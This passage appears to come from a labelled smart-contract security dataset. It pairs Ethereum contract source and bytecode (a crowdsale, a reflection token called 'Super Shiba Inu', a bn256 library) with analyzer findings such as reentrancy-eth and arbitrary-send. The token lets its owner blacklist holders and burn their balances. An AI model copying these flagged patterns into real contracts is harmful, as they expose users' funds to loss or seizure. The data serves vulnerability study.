function setRate(uint256 rate) onlyOwner { RATE = rate; } function setIcostart(bool newicostart) onlyOwner { icostart = newicostart; } function() external payable { buyTokens(); } function buyTokens() payable whenSaleIsActive { // Calculate tokens to sell uint256 weiAmount = msg.value; uint256 tokens = weiAmount.mul(RATE); // Increment raised amount raisedAmount = raisedAmount.add(msg.value); token.transferFrom(owner, msg.sender, tokens); // Send money to owner owner.transfer(msg.value); } }
0x60806040526004361061008e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063130346d214610098578063144fa6d7146100c75780632b8d0cd71461010a57806334fcf43714610139578063664e970414610166578063c59ee1dc14610191578063d0febe4c146101bc578063fc0c546a146101c6575b61009661021d565b005b3480156100a457600080fd5b506100ad61043b565b604051808215151515815260200191505060405180910390f35b3480156100d357600080fd5b50610108600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061044e565b005b34801561011657600080fd5b506101376004803603810190808035151590602001909291905050506104ee565b005b34801561014557600080fd5b5061016460048036038101908080359060200190929190505050610567565b005b34801561017257600080fd5b5061017b6105cd565b6040518082815260200191505060405180910390f35b34801561019d57600080fd5b506101a66105d3565b6040518082815260200191505060405180910390f35b6101c461021d565b005b3480156101d257600080fd5b506101db6105d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060011515600260009054906101000a900460ff16151514151561024257600080fd5b34915061025a600154836105ff90919063ffffffff16565b90506102713460005461063290919063ffffffff16565b600081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561039257600080fd5b505af11580156103a6573d6000803e3d6000fd5b505050506040513d60208110156103bc57600080fd5b810190808051906020019092919050505050600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610436573d6000803e3d6000fd5b505050565b600260009054906101000a900460ff1681565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104aa57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561054a57600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105c357600080fd5b8060018190555050565b60015481565b60005481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082840290506000841480610620575082848281151561061d57fe5b04145b151561062857fe5b8091505092915050565b60008282840191508111151561064757600080fd5b929150505600a165627a7a72305820a2116336539680740b2651f129cf7888abb59b955aefbf1f80d4547897e60dbd0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,817
0x14f33827570De73858a1f7942F20453c4d0F9a5B
pragma solidity ^0.6.12; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SuperShibaInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Super Shiba Inu\xF0\x9F\xA6\xB8"; string private constant _symbol = "spSHIB\xF0\x9F\xA6\xB8"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10 ** 12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 10; address private burnAddress = 0x000000000000000000000000000000000000dEaD; // Bot detection address[] private botArray; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) public { _marketingFunds = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingFunds.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _marketingFunds); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingFunds); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; botArray.push(bots_[i]); } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function burnBots() public onlyOwner { for (uint256 i = 0; i < botArray.length; i ++) { if (bots[botArray[i]]) { _transfer(botArray[i], burnAddress, balanceOf(botArray[i])); } } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101485760003560e01c8063715018a6116100c0578063c3c8cd8011610074578063d543dbeb11610059578063d543dbeb146104d7578063dd62ed3e14610501578063fe598ba11461053c5761014f565b8063c3c8cd80146104ad578063c9567bf9146104c25761014f565b806395d89b41116100a557806395d89b41146103af578063a9059cbb146103c4578063b515566a146103fd5761014f565b8063715018a6146103695780638da5cb5b1461037e5761014f565b8063273123b7116101175780635932ead1116100fc5780635932ead1146102f55780636fc3eaec1461032157806370a08231146103365761014f565b8063273123b714610295578063313ce567146102ca5761014f565b806306fdde0314610154578063095ea7b3146101de57806318160ddd1461022b57806323b872dd146102525761014f565b3661014f57005b600080fd5b34801561016057600080fd5b50610169610551565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a357818101518382015260200161018b565b50505050905090810190601f1680156101d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ea57600080fd5b506102176004803603604081101561020157600080fd5b506001600160a01b038135169060200135610588565b604080519115158252519081900360200190f35b34801561023757600080fd5b506102406105a6565b60408051918252519081900360200190f35b34801561025e57600080fd5b506102176004803603606081101561027557600080fd5b506001600160a01b038135811691602081013590911690604001356105b3565b3480156102a157600080fd5b506102c8600480360360208110156102b857600080fd5b50356001600160a01b031661063a565b005b3480156102d657600080fd5b506102df6106c5565b6040805160ff9092168252519081900360200190f35b34801561030157600080fd5b506102c86004803603602081101561031857600080fd5b503515156106ca565b34801561032d57600080fd5b506102c861076d565b34801561034257600080fd5b506102406004803603602081101561035957600080fd5b50356001600160a01b03166107a1565b34801561037557600080fd5b506102c86107c3565b34801561038a57600080fd5b50610393610884565b604080516001600160a01b039092168252519081900360200190f35b3480156103bb57600080fd5b50610169610893565b3480156103d057600080fd5b50610217600480360360408110156103e757600080fd5b506001600160a01b0381351690602001356108ca565b34801561040957600080fd5b506102c86004803603602081101561042057600080fd5b81019060208101813564010000000081111561043b57600080fd5b82018360208201111561044d57600080fd5b8035906020019184602083028401116401000000008311171561046f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506108de945050505050565b3480156104b957600080fd5b506102c8610a09565b3480156104ce57600080fd5b506102c8610a46565b3480156104e357600080fd5b506102c8600480360360208110156104fa57600080fd5b5035610ebd565b34801561050d57600080fd5b506102406004803603604081101561052457600080fd5b506001600160a01b0381358116916020013516610fd4565b34801561054857600080fd5b506102c8610fff565b60408051808201909152601381527f537570657220536869626120496e75f09fa6b800000000000000000000000000602082015290565b600061059c61059561111d565b8484611121565b5060015b92915050565b683635c9adc5dea0000090565b60006105c084848461120d565b610630846105cc61111d565b61062b85604051806060016040528060288152602001611e53602891396001600160a01b038a1660009081526004602052604081209061060a61111d565b6001600160a01b0316815260208101919091526040016000205491906115ef565b611121565b5060019392505050565b61064261111d565b6000546001600160a01b039081169116146106a4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b600990565b6106d261111d565b6000546001600160a01b03908116911614610734576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60108054911515600160b81b027fffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b600e546001600160a01b031661078161111d565b6001600160a01b03161461079457600080fd5b4761079e81611686565b50565b6001600160a01b0381166000908152600260205260408120546105a0906116c0565b6107cb61111d565b6000546001600160a01b0390811691161461082d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000546001600160a01b031690565b60408051808201909152600a81527f737053484942f09fa6b800000000000000000000000000000000000000000000602082015290565b600061059c6108d761111d565b848461120d565b6108e661111d565b6000546001600160a01b03908116911614610948576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b8151811015610a05576001600c600084848151811061096657fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600b8282815181106109b357fe5b602090810291909101810151825460018082018555600094855292909320909201805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909316929092179091550161094b565b5050565b600e546001600160a01b0316610a1d61111d565b6001600160a01b031614610a3057600080fd5b6000610a3b306107a1565b905061079e81611720565b610a4e61111d565b6000546001600160a01b03908116911614610ab0576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b601054600160a01b900460ff1615610b0f576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600f805473ffffffffffffffffffffffffffffffffffffffff1916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610b659030906001600160a01b0316683635c9adc5dea00000611121565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9e57600080fd5b505afa158015610bb2573d6000803e3d6000fd5b505050506040513d6020811015610bc857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610c1857600080fd5b505afa158015610c2c573d6000803e3d6000fd5b505050506040513d6020811015610c4257600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610cac57600080fd5b505af1158015610cc0573d6000803e3d6000fd5b505050506040513d6020811015610cd657600080fd5b50516010805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03928316179055600f541663f305d7194730610d15816107a1565b600080610d20610884565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610d8b57600080fd5b505af1158015610d9f573d6000803e3d6000fd5b50505050506040513d6060811015610db657600080fd5b505060108054674563918244f400006011557fffffffffffffffff00ffff00ffffffffffffffffffffffffffffffffffffffff7fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909116600160b01b1716600160a01b1790819055600f54604080517f095ea7b30000000000000000000000000000000000000000000000000000000081526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610e8e57600080fd5b505af1158015610ea2573d6000803e3d6000fd5b505050506040513d6020811015610eb857600080fd5b505050565b610ec561111d565b6000546001600160a01b03908116911614610f27576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60008111610f7c576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610f9a6064610f94683635c9adc5dea0000084611907565b90611960565b601181905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b61100761111d565b6000546001600160a01b03908116911614611069576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60005b600b5481101561079e57600c6000600b838154811061108757fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161561111557611115600b82815481106110c457fe5b600091825260209091200154600a54600b80546001600160a01b0393841693909216916111109190869081106110f657fe5b6000918252602090912001546001600160a01b03166107a1565b61120d565b60010161106c565b3390565b6001600160a01b0383166111665760405162461bcd60e51b8152600401808060200182810382526024815260200180611ec96024913960400191505060405180910390fd5b6001600160a01b0382166111ab5760405162461bcd60e51b8152600401808060200182810382526022815260200180611e106022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112525760405162461bcd60e51b8152600401808060200182810382526025815260200180611ea46025913960400191505060405180910390fd5b6001600160a01b0382166112975760405162461bcd60e51b8152600401808060200182810382526023815260200180611dc36023913960400191505060405180910390fd5b600081116112d65760405162461bcd60e51b8152600401808060200182810382526029815260200180611e7b6029913960400191505060405180910390fd5b6112de610884565b6001600160a01b0316836001600160a01b0316141580156113185750611302610884565b6001600160a01b0316826001600160a01b031614155b1561159257601054600160b81b900460ff161561141e576001600160a01b038316301480159061135157506001600160a01b0382163014155b801561136b5750600f546001600160a01b03848116911614155b80156113855750600f546001600160a01b03838116911614155b1561141e57600f546001600160a01b031661139e61111d565b6001600160a01b031614806113cd57506010546001600160a01b03166113c261111d565b6001600160a01b0316145b61141e576040805162461bcd60e51b815260206004820152601160248201527f4552523a20556e6973776170206f6e6c79000000000000000000000000000000604482015290519081900360640190fd5b60115481111561142d57600080fd5b6001600160a01b0383166000908152600c602052604090205460ff1615801561146f57506001600160a01b0382166000908152600c602052604090205460ff16155b61147857600080fd5b6010546001600160a01b0384811691161480156114a35750600f546001600160a01b03838116911614155b80156114c857506001600160a01b03821660009081526005602052604090205460ff16155b80156114dd5750601054600160b81b900460ff165b15611525576001600160a01b0382166000908152600d6020526040902054421161150657600080fd5b6001600160a01b0382166000908152600d60205260409020603c420190555b6000611530306107a1565b601054909150600160a81b900460ff1615801561155b57506010546001600160a01b03858116911614155b80156115705750601054600160b01b900460ff165b156115905761157e81611720565b47801561158e5761158e47611686565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806115d457506001600160a01b03831660009081526005602052604090205460ff165b156115dd575060005b6115e9848484846119a2565b50505050565b6000818484111561167e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164357818101518382015260200161162b565b50505050905090810190601f1680156116705780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610a05573d6000803e3d6000fd5b60006006548211156117035760405162461bcd60e51b815260040180806020018281038252602a815260200180611de6602a913960400191505060405180910390fd5b600061170d6119c7565b90506117198382611960565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060808301845292602083019080368337019050509050308160008151811061176157fe5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117b557600080fd5b505afa1580156117c9573d6000803e3d6000fd5b505050506040513d60208110156117df57600080fd5b50518151829060019081106117f057fe5b6001600160a01b039283166020918202929092010152600f546118169130911684611121565b600f546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156118b557818101518382015260200161189d565b505050509050019650505050505050600060405180830381600087803b1580156118de57600080fd5b505af11580156118f2573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b600082611916575060006105a0565b8282028284828161192357fe5b04146117195760405162461bcd60e51b8152600401808060200182810382526021815260200180611e326021913960400191505060405180910390fd5b600061171983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119ea565b806119af576119af611a4f565b6119ba848484611a76565b806115e9576115e9611b6b565b60008060006119d4611b77565b90925090506119e38282611960565b9250505090565b60008183611a395760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561164357818101518382015260200161162b565b506000838581611a4557fe5b0495945050505050565b600854158015611a5f5750600954155b15611a6957611a74565b600060088190556009555b565b600080600080600080611a8887611bbc565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611aba9087611c19565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ae99086611c5b565b6001600160a01b038916600090815260026020526040902055611b0b81611cb5565b611b158483611cff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000600855600a600955565b6006546000908190683635c9adc5dea00000611b938282611960565b821015611bb257600654683635c9adc5dea00000935093505050611bb8565b90925090505b9091565b6000806000806000806000806000611bd98a600854600954611d23565b9250925092506000611be96119c7565b90506000806000611bfc8e878787611d72565b919e509c509a509598509396509194505050505091939550919395565b600061171983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ef565b600082820183811015611719576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611cbf6119c7565b90506000611ccd8383611907565b30600090815260026020526040902054909150611cea9082611c5b565b30600090815260026020526040902055505050565b600654611d0c9083611c19565b600655600754611d1c9082611c5b565b6007555050565b6000808080611d376064610f948989611907565b90506000611d4a6064610f948a89611907565b90506000611d6282611d5c8b86611c19565b90611c19565b9992985090965090945050505050565b6000808080611d818886611907565b90506000611d8f8887611907565b90506000611d9d8888611907565b90506000611daf82611d5c8686611c19565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220776b3ee2fc6f4811a49fb284dc8ebe1f809a2b0c51b5757ebdfda78d97a1dc9464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,818
0xdbd8993608c0e5b8f58cec07ae221bb82dea0710
pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library bn256g1 { uint256 internal constant FIELD_ORDER = 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47; uint256 internal constant GEN_ORDER = 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001; uint256 internal constant CURVE_B = 3; uint256 internal constant CURVE_A = 0xc19139cb84c680a6e14116da060561765e05aa45a1c72a34f082305b61f3f52; struct Point { uint256 X; uint256 Y; } function genOrder() internal pure returns (uint256) { return GEN_ORDER; } function fieldOrder() internal pure returns (uint256) { return FIELD_ORDER; } function infinity() internal pure returns (Point) { return Point(0, 0); } function generator() internal pure returns (Point) { return Point(1, 2); } function equal(Point a, Point b) internal pure returns (bool) { return a.X == b.X && a.Y == b.Y; } function negate(Point p) internal pure returns (Point) { if(p.X == 0 && p.Y == 0) { return Point(0, 0); } return Point(p.X, FIELD_ORDER - (p.Y % FIELD_ORDER)); } function hashToPoint(bytes32 s) internal view returns (Point) { uint256 beta = 0; uint256 y = 0; uint256 x = uint256(s) % GEN_ORDER; while( true ) { (beta, y) = findYforX(x); if(beta == mulmod(y, y, FIELD_ORDER)) { return Point(x, y); } x = addmod(x, 1, FIELD_ORDER); } } function findYforX(uint256 x) internal view returns (uint256, uint256) { uint256 